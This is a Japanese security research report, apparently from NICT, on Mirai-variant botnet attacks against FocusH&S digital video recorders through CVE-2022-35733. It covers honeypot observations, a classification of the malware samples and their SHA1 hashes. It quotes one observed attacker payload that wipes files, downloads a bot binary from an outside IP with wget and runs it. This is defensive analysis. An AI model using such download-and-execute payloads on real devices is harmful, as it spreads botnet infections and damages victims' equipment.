はじめに
本記事では,IoT機器を攻撃対象とするDDoS ボットへの感染活動のうち,韓国の FocusH&S が製造する防犯カメラ用デジタルビデオレコーダー(以下DVR)を狙った攻撃の観測結果を紹介します.
FocusH&S 社は DVR の製造を行う韓国の企業です. 本調査では,国内販売代理店の一つであるユニモテクノロジー株式会社から販売されていた機器およびファームウェア(Ver.2.0.19.1)を用いて脆弱性の調査や実機に対する攻撃観測を行いました.
マルウェアに悪用された当該機器の脆弱性 (CVE-2022-35733) はすでに修正済みで,販売元であるユニモテクノロジー株式会社からも脆弱性情報1と修正済みファームウェア2が公開されています.当該機器のユーザは速やかにファームウェアアップデートを適用してください.
脆弱なDVR機器に対する攻撃の実態
発見に至った経緯
NICTでは,ダークネット宛にパケットを送信してきたホストを日々調査しています. FocusH&S 社製 DVR は 2019年に Mirai に感染した韓国国内のホストとして観測していましたが,当時はホスト数が少なく,感染機器の特定には至らず,その後は経過観察の状況が続いていました. しかし,2022年の4月以降,日本国内において FocusH&S 社製 DVR を含む,Mirai に感染した韓国製の DVR 機器が目立つようになりました. そこで,日本で販売されている DVR 製品の取扱説明書を収集して調査したところ機器の特定に至り,実機を入手することができました.
脆弱性を悪用する攻撃
NICT で入手した DVR では,初期状態で Telnet と HTTP がオープンでした. ファームウェアから解析した認証情報を使用し,Telnet で機器にログインして Web サーバのディレクトリを確認したところ,通常の操作ではアクセスできないファイルを発見しました. このファイルを解析した結果,任意のコマンドが実行できる脆弱性が存在することが分かりました.
Mirai に感染したFocus H&S社製 DVR のホストに対しても,同一のバックドアのファイルが存在することを確認しています.
実機宛の攻撃の実態
脆弱性を使用して任意のコマンドを実行できることが判明したため,インターネットからの通信に対して応答のみが可能なネットワークに DVR を設置して攻撃の観測を行いました.
単一のグローバル IP アドレスを割り当てた観測環境において,6/1~8/31の期間で 17489 件の攻撃が観測されました. 送信元 IP アドレスは,全部で 74 アドレスありましたが,7 アドレスからの通信が全体の 90% を占めていました.
検体の実行方法やダウンロードサーバなどの情報から送信元上位のアドレスをいくつかのグループに分けました.
攻撃のペイロードには,シェルスクリプトをダウンロードするものと検体を直接ダウンロードする2つがありました. シェルスクリプトを使った攻撃では,以下のような形で観測しています.
さらに,攻撃者の操作ミスにより脆弱性が使用できなくなる事象も観測しています.
cd /tmp|rm -rf *;cd /tmp;wget http://45[.]148[.]10[.]75/7 -O kylin;chmod 777 kylin ;./kylin kd
実際に観測したペイロードですが攻撃者は,/tmpのファイルを消そうと考えていたようです.しかし,| が使えないため,カレントディレクトリでrmコマンドが実行されてしまいました. その影響でログイン画面およびバックドアも消えてしまうことを確認しています.
削除されたファイルは,DVR の再起動で自動的に復元されます.
検体の解析
表1でGroup A 〜 Group Dに分類した各検体の特徴は以下の通りでした.
表2. グループ毎の検体の特徴
Group | 実行時引数 | 引数の取扱い | スキャン機能 (pps) | 復号方法 (xor) |
---|---|---|---|---|
A | dvr | 引数をC2に送信 | 23/tcp, 2323/tcp (約153pps) | table_init: 0x54, scanner_init: 0x04 |
B | multidvr | - | 無し | table_init: 0x22 |
C | multi.dvrs.arm7 | 引数をC2に送信 | 23/tcp (約515pps) | table_init: 0x22, scanner_init: 0x75 |
D | multiDVR | 引数を指定しないと通信が発生せず | 無し | - |
Group A
- C2 の通信先が Mirai 亜種の MooBot の特徴を持つ
- 実行すると 23/tcp, 2323/tcp に対してMiraiの特徴があるランダムスキャンを行う
- rand_alpha_str() が MooBot の特徴とされる文字列3を持たない
- table_init() は 0x54,scanner_init() は 0x04 で復号
- 攻撃機能として BlackNurse() が追加されている
Group B
- rand_alphastr() に MooBot の特徴がある
- 実行時の引数が multidvr
- table_init() は 0x22 で復号
- ランダムスキャン機能は持たない
Group C
- rand_alphastr() に MooBot の特徴がある
- table_init() は 0x22 で,scanner_init() は 0x75 で復号
- 23/tcp に対してMiraiの特徴があるランダムスキャンを行う
- 実行時の引数の有無で動作に変化が見られない
Group D
- 引数の有無で挙動が変わる.引数をつけた場合のみ C2 と通信し,DDoS 攻撃を行う.
- DDoS の宛先IPアドレスは全て中国.
- C2のドメイン名とIPアドレスの対応が1対多であり,Fodochaの特徴を持つ4
マルウェアのハッシュ値 (SHA1)
GroupA: 01edd7d5d62daed3730ca6030d7a1a1715aaaf90
GroupB: d658c6fbc6a77cb8dcb526e9f776dc9831d9fa36
GroupC: 9c4f30ab27d36fa125b1be5b9eae1683697ffc6d
GroupD: cb914932b03ae98f1cad0c360e7f9f947bb7e259
謝辞
ファームウェアの提供および調査にご協力いただいたユニモテクノロジー株式会社様, 感染機器の特定に際して助言をいただいたIIJセキュリティ本部セキュリティ情報統括室長 根岸征史氏にこの場を借りて感謝いたします.
-
JVNVU#90821877: ユニモテクノロジー製デジタルビデオレコーダにおける重要な機能に対する認証の欠如の脆弱性 ↩︎
-
“Its most obvious feature is that it contains the data string “w5q6he3dbrsgmclkiu4to18npavj702f”, which is used in the “rand_alphastr” function. " Mirai-based Botnet - Moobot Targets Hikvision Vulnerability ↩︎